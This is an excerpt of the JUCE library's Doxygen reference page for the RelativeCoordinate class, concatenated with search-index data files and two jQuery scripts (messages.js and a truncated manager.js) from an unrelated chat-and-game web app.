class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#nested-classes">Classes</a> &#124; <a href="#pub-methods">Public Member Functions</a> &#124; <a href="classRelativeCoordinate-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">RelativeCoordinate Class Reference</div> </div> </div><!--header--> <div class="contents"> <p>Expresses a coordinate as a dynamically evaluated expression. <a href="classRelativeCoordinate.html#details">More...</a></p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="nested-classes"></a> Classes</h2></td></tr> <tr class="memitem:"><td class="memItemLeft" align="right" valign="top">struct &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structRelativeCoordinate_1_1StandardStrings.html">StandardStrings</a></td></tr> <tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:"><td class="memItemLeft" align="right" valign="top">struct &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structRelativeCoordinate_1_1Strings.html">Strings</a></td></tr> <tr class="memdesc:"><td class="mdescLeft">&#160;</td><td class="mdescRight">A set of static strings that are commonly used by the <a class="el" href="classRelativeCoordinate.html" title="Expresses a coordinate as a dynamically evaluated expression.">RelativeCoordinate</a> class. <a href="structRelativeCoordinate_1_1Strings.html#details">More...</a><br/></td></tr> <tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:a2a361f6a466bb575140226ee578f2f9a"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classRelativeCoordinate.html#a2a361f6a466bb575140226ee578f2f9a">RelativeCoordinate</a> ()</td></tr> <tr class="memdesc:a2a361f6a466bb575140226ee578f2f9a"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates a zero coordinate. <a href="#a2a361f6a466bb575140226ee578f2f9a"></a><br/></td></tr> <tr class="separator:a2a361f6a466bb575140226ee578f2f9a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a08660df4611e9bfc1ce5273646fcbbcf"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classRelativeCoordinate.html#a08660df4611e9bfc1ce5273646fcbbcf">RelativeCoordinate</a> (const <a class="el" href="classExpression.html">Expression</a> &amp;expression)</td></tr> <tr class="separator:a08660df4611e9bfc1ce5273646fcbbcf"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad748f568e7cd3b36998f1081b6d4bdbe"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classRelativeCoordinate.html#ad748f568e7cd3b36998f1081b6d4bdbe">RelativeCoordinate</a> (const <a class="el" href="classRelativeCoordinate.html">RelativeCoordinate</a> &amp;)</td></tr> <tr class="separator:ad748f568e7cd3b36998f1081b6d4bdbe"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9f75f4abe58f9ca7b6de1b05d2792151"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classRelativeCoordinate.html">RelativeCoordinate</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classRelativeCoordinate.html#a9f75f4abe58f9ca7b6de1b05d2792151">operator=</a> (const <a class="el" href="classRelativeCoordinate.html">RelativeCoordinate</a> &amp;)</td></tr> <tr class="separator:a9f75f4abe58f9ca7b6de1b05d2792151"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a2e27136bad494334484b3d7045560bf6"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classRelativeCoordinate.html#a2e27136bad494334484b3d7045560bf6">RelativeCoordinate</a> (double absoluteDistanceFromOrigin)</td></tr> <tr class="memdesc:a2e27136bad494334484b3d7045560bf6"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates an absolute position from the parent origin on either the X or Y axis. <a href="#a2e27136bad494334484b3d7045560bf6"></a><br/></td></tr> <tr class="separator:a2e27136bad494334484b3d7045560bf6"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a0b3bb7a6224234e60bd7aaeb2b4af1e2"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classRelativeCoordinate.html#a0b3bb7a6224234e60bd7aaeb2b4af1e2">RelativeCoordinate</a> (const <a class="el" href="classString.html">String</a> &amp;stringVersion)</td></tr> <tr class="memdesc:a0b3bb7a6224234e60bd7aaeb2b4af1e2"><td class="mdescLeft">&#160;</td><td class="mdescRight">Recreates a coordinate from a string description. <a href="#a0b3bb7a6224234e60bd7aaeb2b4af1e2"></a><br/></td></tr> <tr class="separator:a0b3bb7a6224234e60bd7aaeb2b4af1e2"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a81ee941aef4ec69d77624df7cd5e5655"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classRelativeCoordinate.html#a81ee941aef4ec69d77624df7cd5e5655">~RelativeCoordinate</a> ()</td></tr> <tr class="memdesc:a81ee941aef4ec69d77624df7cd5e5655"><td class="mdescLeft">&#160;</td><td class="mdescRight">Destructor. <a href="#a81ee941aef4ec69d77624df7cd5e5655"></a><br/></td></tr> <tr class="separator:a81ee941aef4ec69d77624df7cd5e5655"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aac063b11e964f6a660e811c6fac0e6be"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classRelativeCoordinate.html#aac063b11e964f6a660e811c6fac0e6be">operator==</a> (const <a class="el" href="classRelativeCoordinate.html">RelativeCoordinate</a> &amp;) const noexcept</td></tr> <tr class="separator:aac063b11e964f6a660e811c6fac0e6be"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aff6e9778f22cd6bafc4159fd6e21c6ac"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classRelativeCoordinate.html#aff6e9778f22cd6bafc4159fd6e21c6ac">operator!=</a> (const <a class="el" href="classRelativeCoordinate.html">RelativeCoordinate</a> &amp;) const noexcept</td></tr> <tr class="separator:aff6e9778f22cd6bafc4159fd6e21c6ac"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a3f41920dc7782e0eea4d91e83b3b4bed"><td class="memItemLeft" align="right" valign="top">double&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classRelativeCoordinate.html#a3f41920dc7782e0eea4d91e83b3b4bed">resolve</a> (const <a class="el" href="classExpression_1_1Scope.html">Expression::Scope</a> *evaluationScope) const </td></tr> <tr class="memdesc:a3f41920dc7782e0eea4d91e83b3b4bed"><td class="mdescLeft">&#160;</td><td class="mdescRight">Calculates the absolute position of this coordinate. <a href="#a3f41920dc7782e0eea4d91e83b3b4bed"></a><br/></td></tr> <tr class="separator:a3f41920dc7782e0eea4d91e83b3b4bed"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab56b37e8c1e548f620e48498bf92d583"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classRelativeCoordinate.html#ab56b37e8c1e548f620e48498bf92d583">references</a> (const <a class="el" href="classString.html">String</a> &amp;coordName, const <a class="el" href="classExpression_1_1Scope.html">Expression::Scope</a> *evaluationScope) const </td></tr> <tr class="memdesc:ab56b37e8c1e548f620e48498bf92d583"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if this coordinate uses the specified coord name at any level in its evaluation. <a href="#ab56b37e8c1e548f620e48498bf92d583"></a><br/></td></tr> <tr class="separator:ab56b37e8c1e548f620e48498bf92d583"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a2d58621a8ad2997cf50dc6c89c2b8a69"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classRelativeCoordinate.html#a2d58621a8ad2997cf50dc6c89c2b8a69">isRecursive</a> (const <a class="el" href="classExpression_1_1Scope.html">Expression::Scope</a> *evaluationScope) const </td></tr> <tr class="memdesc:a2d58621a8ad2997cf50dc6c89c2b8a69"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if there's a recursive loop when trying to resolve this coordinate's position. <a href="#a2d58621a8ad2997cf50dc6c89c2b8a69"></a><br/></td></tr> <tr class="separator:a2d58621a8ad2997cf50dc6c89c2b8a69"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:adcbadfb50b0b41f27af344ff6db39f50"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classRelativeCoordinate.html#adcbadfb50b0b41f27af344ff6db39f50">isDynamic</a> () const </td></tr> <tr class="memdesc:adcbadfb50b0b41f27af344ff6db39f50"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if this coordinate depends on any other coordinates for its position. <a href="#adcbadfb50b0b41f27af344ff6db39f50"></a><br/></td></tr> <tr class="separator:adcbadfb50b0b41f27af344ff6db39f50"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aeb0b2ff1ac54cb6cd697c9345d579af2"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classRelativeCoordinate.html#aeb0b2ff1ac54cb6cd697c9345d579af2">moveToAbsolute</a> (double absoluteTargetPosition, const <a class="el" href="classExpression_1_1Scope.html">Expression::Scope</a> *evaluationScope)</td></tr> <tr class="memdesc:aeb0b2ff1ac54cb6cd697c9345d579af2"><td class="mdescLeft">&#160;</td><td class="mdescRight">Changes the value of this coord to make it resolve to the specified position. <a href="#aeb0b2ff1ac54cb6cd697c9345d579af2"></a><br/></td></tr> <tr class="separator:aeb0b2ff1ac54cb6cd697c9345d579af2"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a513cfe760d6bd60b9f97586e9e4ec7fa"><td class="memItemLeft" align="right" valign="top">const <a class="el" href="classExpression.html">Expression</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classRelativeCoordinate.html#a513cfe760d6bd60b9f97586e9e4ec7fa">getExpression</a> () const </td></tr> <tr class="memdesc:a513cfe760d6bd60b9f97586e9e4ec7fa"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the expression that defines this coordinate. <a href="#a513cfe760d6bd60b9f97586e9e4ec7fa"></a><br/></td></tr> <tr class="separator:a513cfe760d6bd60b9f97586e9e4ec7fa"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a18a25424f6c5aa1c5cb9777e3bc88ba5"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classString.html">String</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classRelativeCoordinate.html#a18a25424f6c5aa1c5cb9777e3bc88ba5">toString</a> () const </td></tr> <tr class="memdesc:a18a25424f6c5aa1c5cb9777e3bc88ba5"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a string which represents this coordinate. <a href="#a18a25424f6c5aa1c5cb9777e3bc88ba5"></a><br/></td></tr> <tr class="separator:a18a25424f6c5aa1c5cb9777e3bc88ba5"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <div class="textblock"><p>Expresses a coordinate as a dynamically evaluated expression. </p> <p>When using relative coordinates to position components, the following symbols are available:</p> <ul> <li>"left", "right", "top", "bottom" refer to the position of those edges in this component, so e.g. for a component whose width is always 100, you might set the right edge to the "left + 100".</li> <li>"[id].left", "[id].right", "[id].top", "[id].bottom", "[id].width", "[id].height", where [id] is the identifier of one of this component's siblings. A component's identifier is set with <a class="el" href="classComponent.html#ac41c215031a087064add6d3a180abd1d" title="Sets the component&#39;s ID string.">Component::setComponentID()</a>. So for example if you want your component to always be 50 pixels to the right of the one called "xyz", you could set your left edge to be "xyz.right + 50".</li> <li>Instead of an [id], you can use the name "parent" to refer to this component's parent. Like any other component, these values are relative to their component's parent, so "parent.right" won't be very useful for positioning a component because it refers to a position with the parent's parent.. but "parent.width" can be used for setting positions relative to the parent's size. E.g. to make a 10x10 component which remains 1 pixel away from its parent's bottom-right, you could use "right - 10, bottom - 10, parent.width - 1, parent.height - 1".</li> <li>The name of one of the parent component's markers can also be used as a symbol. For markers to be used, the parent component must implement its <a class="el" href="classComponent.html#a2c2b7f738ccfcf541b72a6ce8283fce0" title="Components can implement this method to provide a MarkerList.">Component::getMarkers()</a> method, and return at least one valid <a class="el" href="classMarkerList.html" title="Holds a set of named marker points along a one-dimensional axis.">MarkerList</a>. So if you want your component's top edge to be 10 pixels below the marker called "foobar", you'd set it to "foobar + 10".</li> </ul> <p>See the <a class="el" href="classExpression.html" title="A class for dynamically evaluating simple numeric expressions.">Expression</a> class for details about the operators that are supported, but for example if you wanted to make your component remains centred within its parent with a size of 100, 100, you could express it as: </p> <div class="fragment"><div class="line">myComp.setBounds (RelativeBounds (<span class="stringliteral">&quot;parent.width / 2 - 50, parent.height / 2 - 50, left + 100, top + 100&quot;</span>));</div> </div><!-- fragment --><p> ..or an alternative way to achieve the same thing: </p> <div class="fragment"><div class="line">myComp.setBounds (RelativeBounds (<span class="stringliteral">&quot;right - 100, bottom - 100, parent.width / 2 + 50, parent.height / 2 + 50&quot;</span>));</div> </div><!-- fragment --><p>Or if you wanted a 100x100 component whose top edge is lined up to a marker called "topMarker" and which is positioned 50 pixels to the right of another component called "otherComp", you could write: </p> <div class="fragment"><div class="line">myComp.setBounds (RelativeBounds (<span class="stringliteral">&quot;otherComp.right + 50, topMarker, left + 100, top + 100&quot;</span>));</div> </div><!-- fragment --><p>Be careful not to make your coordinate expressions recursive, though, or exceptions and assertions will be thrown!</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classRelativePoint.html" title="An X-Y position stored as a pair of RelativeCoordinate values.">RelativePoint</a>, <a class="el" href="classRelativeRectangle.html" title="A rectangle stored as a set of RelativeCoordinate values.">RelativeRectangle</a> </dd></dl> </div><h2 class="groupheader">Constructor &amp; Destructor Documentation</h2> <a class="anchor" id="a2a361f6a466bb575140226ee578f2f9a"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">RelativeCoordinate::RelativeCoordinate </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Creates a zero coordinate. </p> </div> </div> <a class="anchor" id="a08660df4611e9bfc1ce5273646fcbbcf"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">RelativeCoordinate::RelativeCoordinate </td> <td>(</td> <td class="paramtype">const <a class="el" href="classExpression.html">Expression</a> &amp;&#160;</td> <td class="paramname"><em>expression</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> </div> </div> <a class="anchor" id="ad748f568e7cd3b36998f1081b6d4bdbe"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">RelativeCoordinate::RelativeCoordinate </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRelativeCoordinate.html">RelativeCoordinate</a> &amp;&#160;</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> </div> </div> <a class="anchor" id="a2e27136bad494334484b3d7045560bf6"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">RelativeCoordinate::RelativeCoordinate </td> <td>(</td> <td class="paramtype">double&#160;</td> <td class="paramname"><em>absoluteDistanceFromOrigin</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Creates an absolute position from the parent origin on either the X or Y axis. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">absoluteDistanceFromOrigin</td><td>the distance from the origin </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a0b3bb7a6224234e60bd7aaeb2b4af1e2"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">RelativeCoordinate::RelativeCoordinate </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>stringVersion</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Recreates a coordinate from a string description. </p> <p>The string will be parsed by ExpressionParser::parse(). </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">stringVersion</td><td>the expression to use </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classRelativeCoordinate.html#a18a25424f6c5aa1c5cb9777e3bc88ba5" title="Returns a string which represents this coordinate.">toString</a> </dd></dl> </div> </div> <a class="anchor" id="a81ee941aef4ec69d77624df7cd5e5655"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">RelativeCoordinate::~RelativeCoordinate </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Destructor. </p> </div> </div> <h2 class="groupheader">Member Function Documentation</h2> <a class="anchor" id="a9f75f4abe58f9ca7b6de1b05d2792151"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classRelativeCoordinate.html">RelativeCoordinate</a>&amp; RelativeCoordinate::operator= </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRelativeCoordinate.html">RelativeCoordinate</a> &amp;&#160;</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> </div> </div> <a class="anchor" id="aac063b11e964f6a660e811c6fac0e6be"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool RelativeCoordinate::operator== </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRelativeCoordinate.html">RelativeCoordinate</a> &amp;&#160;</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> </div> </div> <a class="anchor" id="aff6e9778f22cd6bafc4159fd6e21c6ac"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool RelativeCoordinate::operator!= </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRelativeCoordinate.html">RelativeCoordinate</a> &amp;&#160;</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> </div> </div> <a class="anchor" id="a3f41920dc7782e0eea4d91e83b3b4bed"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">double RelativeCoordinate::resolve </td> <td>(</td> <td class="paramtype">const <a class="el" href="classExpression_1_1Scope.html">Expression::Scope</a> *&#160;</td> <td class="paramname"><em>evaluationScope</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Calculates the absolute position of this coordinate. </p> <p>You'll need to provide a suitable <a class="el" href="classExpression_1_1Scope.html" title="When evaluating an Expression object, this class is used to resolve symbols and perform functions tha...">Expression::Scope</a> for looking up any coordinates that may be needed to calculate the result. </p> </div> </div> <a class="anchor" id="ab56b37e8c1e548f620e48498bf92d583"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool RelativeCoordinate::references </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>coordName</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classExpression_1_1Scope.html">Expression::Scope</a> *&#160;</td> <td class="paramname"><em>evaluationScope</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns true if this coordinate uses the specified coord name at any level in its evaluation. </p> <p>This will recursively check any coordinates upon which this one depends. </p> </div> </div> <a class="anchor" id="a2d58621a8ad2997cf50dc6c89c2b8a69"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool RelativeCoordinate::isRecursive </td> <td>(</td> <td class="paramtype">const <a class="el" href="classExpression_1_1Scope.html">Expression::Scope</a> *&#160;</td> <td class="paramname"><em>evaluationScope</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns true if there's a recursive loop when trying to resolve this coordinate's position. </p> </div> </div> <a class="anchor" id="adcbadfb50b0b41f27af344ff6db39f50"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool RelativeCoordinate::isDynamic </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns true if this coordinate depends on any other coordinates for its position. </p> </div> </div> <a class="anchor" id="aeb0b2ff1ac54cb6cd697c9345d579af2"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void RelativeCoordinate::moveToAbsolute </td> <td>(</td> <td class="paramtype">double&#160;</td> <td class="paramname"><em>absoluteTargetPosition</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classExpression_1_1Scope.html">Expression::Scope</a> *&#160;</td> <td class="paramname"><em>evaluationScope</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Changes the value of this coord to make it resolve to the specified position. </p> <p>Calling this will leave the anchor points unchanged, but will set this coordinate's absolute or relative position to whatever value is necessary to make its resultant position match the position that is provided. </p> </div> </div> <a class="anchor" id="a513cfe760d6bd60b9f97586e9e4ec7fa"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">const <a class="el" href="classExpression.html">Expression</a>&amp; RelativeCoordinate::getExpression </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns the expression that defines this coordinate. </p> </div> </div> <a class="anchor" id="a18a25424f6c5aa1c5cb9777e3bc88ba5"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classString.html">String</a> RelativeCoordinate::toString </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns a string which represents this coordinate. </p> <p>For details of the string syntax, see the constructor notes. </p> </div> </div> <hr/>The documentation for this class was generated from the following file:<ul> <li><a class="el" href="juce__RelativeCoordinate_8h.html">juce_RelativeCoordinate.h</a></li> </ul> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep>var searchData= [ ['juce_5fwchar',['juce_wchar',['../juce__CharacterFunctions_8h.html#a7d83261f3888884bbf04a58edc2672da',1,'juce_CharacterFunctions.h']]] ]; <file_sep>var searchData= [ ['jobhasfinished',['jobHasFinished',['../classThreadPoolJob.html#a534c077f3c60168d88555ade062420b3a390a063ef5f8b769a682f1daefc64e72',1,'ThreadPoolJob']]], ['jobneedsrunningagain',['jobNeedsRunningAgain',['../classThreadPoolJob.html#a534c077f3c60168d88555ade062420b3a42789d58048631dd96008ce23911a545',1,'ThreadPoolJob']]] ]; <file_sep>var searchData= [ ['typehelpers',['TypeHelpers',['../namespaceTypeHelpers.html',1,'']]] ]; <file_sep>var searchData= [ ['namedpipe',['NamedPipe',['../classNamedPipe.html',1,'']]], ['namedvalueset',['NamedValueSet',['../classNamedValueSet.html',1,'']]], ['nativefunctionargs',['NativeFunctionArgs',['../structvar_1_1NativeFunctionArgs.html',1,'var']]], ['nativeimagetype',['NativeImageType',['../classNativeImageType.html',1,'']]], ['nativemessagebox',['NativeMessageBox',['../classNativeMessageBox.html',1,'']]], ['newline',['NewLine',['../classNewLine.html',1,'']]], ['node',['Node',['../classAudioProcessorGraph_1_1Node.html',1,'AudioProcessorGraph']]], ['normalisablerange',['NormalisableRange',['../classNormalisableRange.html',1,'']]], ['normalisablerange_3c_20float_20_3e',['NormalisableRange&lt; float &gt;',['../classNormalisableRange.html',1,'']]], ['nsviewcomponent',['NSViewComponent',['../classNSViewComponent.html',1,'']]] ];
83afe194da9503e205b5fcff8788a357df90a0c0
[ "JavaScript", "Text", "HTML" ]
71
JavaScript
julianstorer/JUCE-API-Documentation
407bb8a51eb4e10de628e7501c2105d3f4932c67
97fcb052272b2eb22d0d021d03026bb823edd6cc
refs/heads/master
<repo_name>juazsh/Game-Chat_withMySQL<file_sep>/public/js/messages.js var messages = { receiver: '', lastRetrieved: '', type:'', updateChat: '', /** * This function sends the single chat to the server. * @param e */ send : function() { var message = variable._chatInputText$.val(); variable._chatInputText$.val(''); manager.myXHR('POST','./messages',{id:messages.receiver, message: message, type: messages.type}, '') .done(function(response){ (response.status) ? messages.handleMessageSection(response.data.messageData) : util.showModal('error'); }); }, /** * This function takes the response from the server and create the message box. * @param res */ createChat: function(res) { res.forEach(function(e) { message = '<div class="row" style="color:#090909;height:auto;' + 'border-bottom:0.5px dashed rgba(0,0,0,0.1);margin-top:5px;margin-bottom:5px;">' + '<div class="col-md-1"><img src="'+e.userImage+'" ' + 'style="height:40px;width:40px"><span style="font-size:12px;font-weight:300;font-style:Sans Serif">'+e.created_at+'</span></div>' + '<div class="col-md-11"><h5 style="font-weight:bolder">'+e.userName+'</h5><span>'+ e.body +'</span></div></div>'; variable._chatMessages$.append(message); $("#lst_saved").attr('value',e.created_at); messages.lastRetrieved = e.created_at; }); }, handleMessageSection: function(response) { console.log(response); if( response.length === 0 ) return; if( response.length === 1 ) { messages.createChat(response); } else { variable._chatMessages$.empty(); messages.createChat(response); } }, setMessageVaraibles: function (id, type, text){ messages.receiver = id; messages.type = type; variable._receiverID.setAttribute('value', messages.receiver); variable._receiverID.setAttribute('title', messages.type); variable._userName$.text(text); }, getMoreMessages : function() { var url = './messages/getMore/' + messages.receiver+'/'+messages.lastRetrieved+'/'+messages.type; manager.myXHR('GET',url,{id:messages.receiver},'').done(function (response) { messages.handleMessageSection(response.data.messageData); }); } } <file_sep>/public/js/manager.js /** * Manages AJAX calls, notification and challenge for a particular user. * @type {{myXHR: manager.myXHR, showChallenges: manager.showChallenges, acceptChallenge: manager.acceptChallenge, invite: manager.invite, getChallenge: manager.getChallenge}} */ manager = { myXHR : function (methodName,url,data,id){ return $.ajax({ url: url, headers: { 'X-CSRF-TOKEN': $('input[name=_token]').val() }, data: data, type: methodName, datatype: 'JSON', beforeSend:function(){} }).always(function(){}) .fail(function(err){ console.log(err); }); }, showChallenges : function(e){ $('#showChallengers').toggleClass('invisible'); }, acceptChallenge: function (e){ var id = $(e).attr('id'); $(e).remove(); manager.myXHR('POST','./game/accept/' + id,'','').done(function( res ){ if ( res.status ) { messages.setMessageVaraibles(id, 'individual',$(e).text()); variable._inviteThisUser$.addClass('invisible'); variable._chatSection$.removeClass('col-md-12'); variable._gameSection$.addClass('col-md-8'); variable._chatSection$.addClass('col-md-4'); manager.getUserData(id,'individual'); } }); }, getGameData: function ( id ) { var url = './game/board/' + id; manager.myXHR('GET',url,'','').done(function(response){ if(response){ variable._gameSection$.append(game.PLAYGOUND_DIV); game.drawGame(response.data.gameData); } }); }, invite: function(){ var id = $('#receiver_id').attr('value'); var url = './game/invite/'+ id; manager.myXHR('POST',url,'','').done(function(response){ $('#inviteThisUser').addClass('invisible'); }); }, getChallenge: function(id){ var url = './game/challenge/' + id; return manager.myXHR('GET',url); }, /** * This function is used to get all the messges between individual or group users. * @param id id of the receiver. * @param type type of the user. */ getUserData:function (id,type) { manager.myXHR('GET','./dashboard/'+ type + '/' +id,{type:type},'').done(function(response) { manager.setSections(response); }); }, setSections :function(res) { if(res.status){ variable._userStat$.remove(); variable._game$.removeClass('invisible'); messages.handleMessageSection(res.data.messageData); //messages.updateChat = setInterval(messages.getMoreMessages, 3000); if(messages.type === 'group') { return; } if(res.challengeStatus){ variable._inviteThisUser$.addClass('invisible'); variable._chatSection$.removeClass('col-md-12'); variable._gameSection$.addClass('col-md-8'); variable._chatSection$.addClass('col-md-4'); if(res.challengeStatus === 'requested'){ variable._gameSection$.append(variable._invitedDiv); } else if(res.challengeStatus === 